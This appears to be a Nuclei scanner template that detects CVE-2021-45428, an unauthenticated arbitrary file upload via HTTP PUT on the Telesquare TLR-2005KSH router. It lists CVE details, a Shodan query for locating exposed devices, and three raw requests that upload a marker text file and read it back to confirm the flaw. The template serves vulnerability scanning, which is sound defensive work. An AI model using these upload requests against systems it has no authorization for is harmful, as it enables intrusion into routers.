id: CVE-2021-45428 info: name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload author: gy741 severity: critical description: | TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats. reference: - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html - https://nvd.nist.gov/vuln/detail/CVE-2021-45428 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-45428 cwe-id: CWE-639 epss-score: 0.06433 metadata: max-request: 3 shodan-query: http.html:"TLR-2005KSH" verified: true tags: cve,cve2021,telesquare,intrusive,fileupload,packetstorm http: - raw: - | GET /{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} - | PUT /{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} CVE-2021-45428 - | GET /{{randstr}}.txt HTTP/1.1 Host: {{Hostname}} req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'status_code_1 == 404 && status_code_2 == 201' - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200' condition: and # Enhanced by mp on 2022/05/19